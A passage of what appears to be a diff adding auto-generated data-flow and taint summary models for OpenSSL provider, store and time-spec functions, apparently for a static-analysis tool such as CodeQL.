"Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_PROVIDER_conf_get_bool", "(const OSSL_PROVIDER *,const char *,int)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_do_all", "(OSSL_LIB_CTX *,..(*)(..),void *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "OSSL_PROVIDER_get0_default_search_path", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_PROVIDER_get0_default_search_path", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_PROVIDER_get0_dispatch", "(const OSSL_PROVIDER *)", "", "Argument[*0].Field[**dispatch]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_get0_dispatch", "(const OSSL_PROVIDER *)", "", "Argument[*0].Field[*dispatch]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_get0_name", "(const OSSL_PROVIDER *)", "", "Argument[*0].Field[**name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_get0_name", "(const OSSL_PROVIDER *)", "", "Argument[*0].Field[*name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_get0_provider_ctx", "(const OSSL_PROVIDER *)", "", "Argument[*0].Field[***provctx]", "ReturnValue[**]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_get0_provider_ctx", "(const OSSL_PROVIDER *)", "", "Argument[*0].Field[**provctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_get0_provider_ctx", "(const OSSL_PROVIDER *)", "", "Argument[*0].Field[*provctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_get_conf_parameters", "(const OSSL_PROVIDER *,OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_load", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_load", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_load", "(OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_load", "(OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_load_ex", "(OSSL_LIB_CTX *,const char *,OSSL_PARAM *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_load_ex", "(OSSL_LIB_CTX *,const char *,OSSL_PARAM *)", "", "Argument[*1]", "ReturnValue[*].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_load_ex", "(OSSL_LIB_CTX *,const char *,OSSL_PARAM *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_load_ex", "(OSSL_LIB_CTX *,const char *,OSSL_PARAM *)", "", "Argument[1]", "ReturnValue[*].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_try_load", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_try_load", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[*1]", "ReturnValue[*].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_try_load", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_try_load", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[1]", "ReturnValue[*].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_try_load_ex", "(OSSL_LIB_CTX *,const char *,OSSL_PARAM *,int)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_try_load_ex", "(OSSL_LIB_CTX *,const char *,OSSL_PARAM *,int)", "", "Argument[*1]", "ReturnValue[*].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_try_load_ex", "(OSSL_LIB_CTX *,const char *,OSSL_PARAM *,int)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PROVIDER_try_load_ex", "(OSSL_LIB_CTX *,const char *,OSSL_PARAM *,int)", "", "Argument[1]", "ReturnValue[*].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_ROLE_SPEC_CERT_ID_SYNTAX_free", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_ROLE_SPEC_CERT_ID_SYNTAX_free", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_ROLE_SPEC_CERT_ID_free", "(OSSL_ROLE_SPEC_CERT_ID *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_ROLE_SPEC_CERT_ID_free", "(OSSL_ROLE_SPEC_CERT_ID *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_STORE_INFO_get0_CERT", "(const OSSL_STORE_INFO *)", "", "Argument[*0].Field[*_].Union[*(unnamed class/struct/union)]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_get0_CERT", "(const OSSL_STORE_INFO *)", "", "Argument[*0].Field[*_].Union[**(unnamed class/struct/union)]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_get0_CRL", "(const OSSL_STORE_INFO *)", "", "Argument[*0].Field[*_].Union[*(unnamed class/struct/union)]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_get0_CRL", "(const OSSL_STORE_INFO *)", "", "Argument[*0].Field[*_].Union[**(unnamed class/struct/union)]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_get0_PARAMS", "(const OSSL_STORE_INFO *)", "", "Argument[*0].Field[*_].Union[*(unnamed class/struct/union)]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_get0_PARAMS", "(const OSSL_STORE_INFO *)", "", "Argument[*0].Field[*_].Union[**(unnamed class/struct/union)]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_get0_PKEY", "(const OSSL_STORE_INFO *)", "", "Argument[*0].Field[*_].Union[*(unnamed class/struct/union)]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_get0_PKEY", "(const OSSL_STORE_INFO *)", "", "Argument[*0].Field[*_].Union[**(unnamed class/struct/union)]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_get0_PUBKEY", "(const OSSL_STORE_INFO *)", "", "Argument[*0].Field[*_].Union[*(unnamed class/struct/union)]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_get0_PUBKEY", "(const OSSL_STORE_INFO *)", "", "Argument[*0].Field[*_].Union[**(unnamed class/struct/union)]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_get0_data", "(int,const OSSL_STORE_INFO *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_STORE_INFO_get0_data", "(int,const OSSL_STORE_INFO *)", "", "Argument[*1]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "OSSL_STORE_INFO_get0_data", "(int,const OSSL_STORE_INFO *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_STORE_INFO_get1_CERT", "(const OSSL_STORE_INFO *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_STORE_INFO_get1_CERT", "(const OSSL_STORE_INFO *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_STORE_INFO_get1_CRL", "(const OSSL_STORE_INFO *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_STORE_INFO_get1_CRL", "(const OSSL_STORE_INFO *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_STORE_INFO_get1_PARAMS", "(const OSSL_STORE_INFO *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_STORE_INFO_get1_PARAMS", "(const OSSL_STORE_INFO *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_STORE_INFO_get1_PKEY", "(const OSSL_STORE_INFO *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_STORE_INFO_get1_PKEY", "(const OSSL_STORE_INFO *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_STORE_INFO_get1_PUBKEY", "(const OSSL_STORE_INFO *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_STORE_INFO_get1_PUBKEY", "(const OSSL_STORE_INFO *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_STORE_INFO_get_type", "(const OSSL_STORE_INFO *)", "", "Argument[*0].Field[*type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_new", "(int,void *)", "", "Argument[**1]", "ReturnValue[*].Field[*_].Union[***(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_new", "(int,void *)", "", "Argument[*1]", "ReturnValue[*].Field[*_].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_new", "(int,void *)", "", "Argument[0]", "ReturnValue[*].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_new", "(int,void *)", "", "Argument[1]", "ReturnValue[*].Field[*_].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_new_CERT", "(X509 *)", "", "Argument[*0]", "ReturnValue[*].Field[*_].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_new_CERT", "(X509 *)", "", "Argument[0]", "ReturnValue[*].Field[*_].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_new_CRL", "(X509_CRL *)", "", "Argument[*0]", "ReturnValue[*].Field[*_].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_new_CRL", "(X509_CRL *)", "", "Argument[0]", "ReturnValue[*].Field[*_].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_new_PARAMS", "(EVP_PKEY *)", "", "Argument[*0]", "ReturnValue[*].Field[*_].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_new_PARAMS", "(EVP_PKEY *)", "", "Argument[0]", "ReturnValue[*].Field[*_].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_new_PKEY", "(EVP_PKEY *)", "", "Argument[*0]", "ReturnValue[*].Field[*_].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_new_PKEY", "(EVP_PKEY *)", "", "Argument[0]", "ReturnValue[*].Field[*_].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_new_PUBKEY", "(EVP_PKEY *)", "", "Argument[*0]", "ReturnValue[*].Field[*_].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_new_PUBKEY", "(EVP_PKEY *)", "", "Argument[0]", "ReturnValue[*].Field[*_].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_INFO_type_string", "(int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_get0_description", "(const OSSL_STORE_LOADER *)", "", "Argument[*0].Field[**description]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_get0_description", "(const OSSL_STORE_LOADER *)", "", "Argument[*0].Field[*description]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_get0_engine", "(const OSSL_STORE_LOADER *)", "", "Argument[*0].Field[**engine]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_get0_engine", "(const OSSL_STORE_LOADER *)", "", "Argument[*0].Field[*engine]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_get0_properties", "(const OSSL_STORE_LOADER *)", "", "Argument[*0].Field[**propdef]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_get0_properties", "(const OSSL_STORE_LOADER *)", "", "Argument[*0].Field[*propdef]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_get0_provider", "(const OSSL_STORE_LOADER *)", "", "Argument[*0].Field[**prov]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_get0_provider", "(const OSSL_STORE_LOADER *)", "", "Argument[*0].Field[*prov]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_get0_scheme", "(const OSSL_STORE_LOADER *)", "", "Argument[*0].Field[**scheme]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_get0_scheme", "(const OSSL_STORE_LOADER *)", "", "Argument[*0].Field[*scheme]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_names_do_all", "(const OSSL_STORE_LOADER *,..(*)(..),void *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "OSSL_STORE_LOADER_new", "(ENGINE *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**engine]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_new", "(ENGINE *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**scheme]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_new", "(ENGINE *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_new", "(ENGINE *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*scheme]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_set_attach", "(OSSL_STORE_LOADER *,OSSL_STORE_attach_fn)", "", "Argument[1]", "Argument[*0].Field[*attach]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_set_close", "(OSSL_STORE_LOADER *,OSSL_STORE_close_fn)", "", "Argument[1]", "Argument[*0].Field[*closefn]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_set_ctrl", "(OSSL_STORE_LOADER *,OSSL_STORE_ctrl_fn)", "", "Argument[1]", "Argument[*0].Field[*ctrl]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_set_eof", "(OSSL_STORE_LOADER *,OSSL_STORE_eof_fn)", "", "Argument[1]", "Argument[*0].Field[*eof]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_set_error", "(OSSL_STORE_LOADER *,OSSL_STORE_error_fn)", "", "Argument[1]", "Argument[*0].Field[*error]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_set_expect", "(OSSL_STORE_LOADER *,OSSL_STORE_expect_fn)", "", "Argument[1]", "Argument[*0].Field[*expect]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_set_find", "(OSSL_STORE_LOADER *,OSSL_STORE_find_fn)", "", "Argument[1]", "Argument[*0].Field[*find]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_set_load", "(OSSL_STORE_LOADER *,OSSL_STORE_load_fn)", "", "Argument[1]", "Argument[*0].Field[*load]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_set_open", "(OSSL_STORE_LOADER *,OSSL_STORE_open_fn)", "", "Argument[1]", "Argument[*0].Field[*open]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_LOADER_set_open_ex", "(OSSL_STORE_LOADER *,OSSL_STORE_open_ex_fn)", "", "Argument[1]", "Argument[*0].Field[*open_ex]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_by_alias", "(const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**string]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_by_alias", "(const char *)", "", "Argument[0]", "ReturnValue[*].Field[*string]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_by_issuer_serial", "(X509_NAME *,const ASN1_INTEGER *)", "", "Argument[*0]", "ReturnValue[*].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_by_issuer_serial", "(X509_NAME *,const ASN1_INTEGER *)", "", "Argument[*1]", "ReturnValue[*].Field[**serial]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_by_issuer_serial", "(X509_NAME *,const ASN1_INTEGER *)", "", "Argument[0]", "ReturnValue[*].Field[*name]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_by_issuer_serial", "(X509_NAME *,const ASN1_INTEGER *)", "", "Argument[1]", "ReturnValue[*].Field[*serial]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_by_key_fingerprint", "(const EVP_MD *,const unsigned char *,size_t)", "", "Argument[*0]", "ReturnValue[*].Field[**digest]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_by_key_fingerprint", "(const EVP_MD *,const unsigned char *,size_t)", "", "Argument[*1]", "ReturnValue[*].Field[**string]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_by_key_fingerprint", "(const EVP_MD *,const unsigned char *,size_t)", "", "Argument[0]", "ReturnValue[*].Field[*digest]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_by_key_fingerprint", "(const EVP_MD *,const unsigned char *,size_t)", "", "Argument[1]", "ReturnValue[*].Field[*string]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_by_key_fingerprint", "(const EVP_MD *,const unsigned char *,size_t)", "", "Argument[2]", "ReturnValue[*].Field[*stringlength]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_by_name", "(X509_NAME *)", "", "Argument[*0]", "ReturnValue[*].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_by_name", "(X509_NAME *)", "", "Argument[0]", "ReturnValue[*].Field[*name]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_get0_bytes", "(const OSSL_STORE_SEARCH *,size_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_get0_bytes", "(const OSSL_STORE_SEARCH *,size_t *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_get0_bytes", "(const OSSL_STORE_SEARCH *,size_t *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_get0_digest", "(const OSSL_STORE_SEARCH *)", "", "Argument[*0].Field[**digest]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_get0_digest", "(const OSSL_STORE_SEARCH *)", "", "Argument[*0].Field[*digest]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_get0_name", "(const OSSL_STORE_SEARCH *)", "", "Argument[*0].Field[**name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_get0_name", "(const OSSL_STORE_SEARCH *)", "", "Argument[*0].Field[*name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_get0_serial", "(const OSSL_STORE_SEARCH *)", "", "Argument[*0].Field[**serial]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_get0_serial", "(const OSSL_STORE_SEARCH *)", "", "Argument[*0].Field[*serial]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_get0_string", "(const OSSL_STORE_SEARCH *)", "", "Argument[*0].Field[**string]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_get0_string", "(const OSSL_STORE_SEARCH *)", "", "Argument[*0].Field[*string]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_SEARCH_get_type", "(const OSSL_STORE_SEARCH *)", "", "Argument[*0].Field[*search_type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_attach", "(BIO *,const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *)", "", "Argument[**8]", "ReturnValue[*].Field[***post_process_data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_attach", "(BIO *,const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *)", "", "Argument[*8]", "ReturnValue[*].Field[**post_process_data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_attach", "(BIO *,const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *)", "", "Argument[6]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_STORE_attach", "(BIO *,const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *)", "", "Argument[7]", "ReturnValue[*].Field[*post_process]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_attach", "(BIO *,const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *)", "", "Argument[8]", "ReturnValue[*].Field[*post_process_data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_do_all_loaders", "(..(*)(..),void *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_STORE_error", "(OSSL_STORE_CTX *)", "", "Argument[*0].Field[*error_flag]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_expect", "(OSSL_STORE_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*expected_type]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_load", "(OSSL_STORE_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_STORE_load", "(OSSL_STORE_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_STORE_open", "(const char *,const UI_METHOD *,void *,OSSL_STORE_post_process_info_fn,void *)", "", "Argument[**4]", "ReturnValue[*].Field[***post_process_data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_open", "(const char *,const UI_METHOD *,void *,OSSL_STORE_post_process_info_fn,void *)", "", "Argument[*4]", "ReturnValue[*].Field[**post_process_data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_open", "(const char *,const UI_METHOD *,void *,OSSL_STORE_post_process_info_fn,void *)", "", "Argument[3]", "ReturnValue[*].Field[*post_process]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_open", "(const char *,const UI_METHOD *,void *,OSSL_STORE_post_process_info_fn,void *)", "", "Argument[4]", "ReturnValue[*].Field[*post_process_data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_open_ex", "(const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *)", "", "Argument[**7]", "ReturnValue[*].Field[***post_process_data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_open_ex", "(const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *)", "", "Argument[*2]", "ReturnValue[*].Field[**properties]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_open_ex", "(const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *)", "", "Argument[*7]", "ReturnValue[*].Field[**post_process_data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_open_ex", "(const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *)", "", "Argument[2]", "ReturnValue[*].Field[**properties]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_STORE_open_ex", "(const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_STORE_open_ex", "(const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *)", "", "Argument[6]", "ReturnValue[*].Field[*post_process]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_open_ex", "(const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *)", "", "Argument[7]", "ReturnValue[*].Field[*post_process_data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_STORE_vctrl", "(OSSL_STORE_CTX *,int,va_list)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_TARGETING_INFORMATION_free", "(OSSL_TARGETING_INFORMATION *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_TARGETING_INFORMATION_free", "(OSSL_TARGETING_INFORMATION *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_TARGETS_free", "(OSSL_TARGETS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_TARGETS_free", "(OSSL_TARGETS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_TARGET_free", "(OSSL_TARGET *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_TARGET_free", "(OSSL_TARGET *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_TIME_PERIOD_free", "(OSSL_TIME_PERIOD *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_TIME_PERIOD_free", "(OSSL_TIME_PERIOD *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_TIME_SPEC_ABSOLUTE_free", "(OSSL_TIME_SPEC_ABSOLUTE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_TIME_SPEC_ABSOLUTE_free", "(OSSL_TIME_SPEC_ABSOLUTE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_TIME_SPEC_DAY_free", "(OSSL_TIME_SPEC_DAY *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_TIME_SPEC_DAY_free", "(OSSL_TIME_SPEC_DAY *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_TIME_SPEC_MONTH_free", "(OSSL_TIME_SPEC_MONTH *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_TIME_SPEC_MONTH_free", "(OSSL_TIME_SPEC_MONTH *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_TIME_SPEC_TIME_free", "(OSSL_TIME_SPEC_TIME *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_TIME_SPEC_TIME_free", "(OSSL_TIME_SPEC_TIME *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_TIME_SPEC_WEEKS_free", "(OSSL_TIME_SPEC_WEEKS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_TIME_SPEC_WEEKS_free", "(OSSL_TIME_SPEC_WEEKS *)", "", 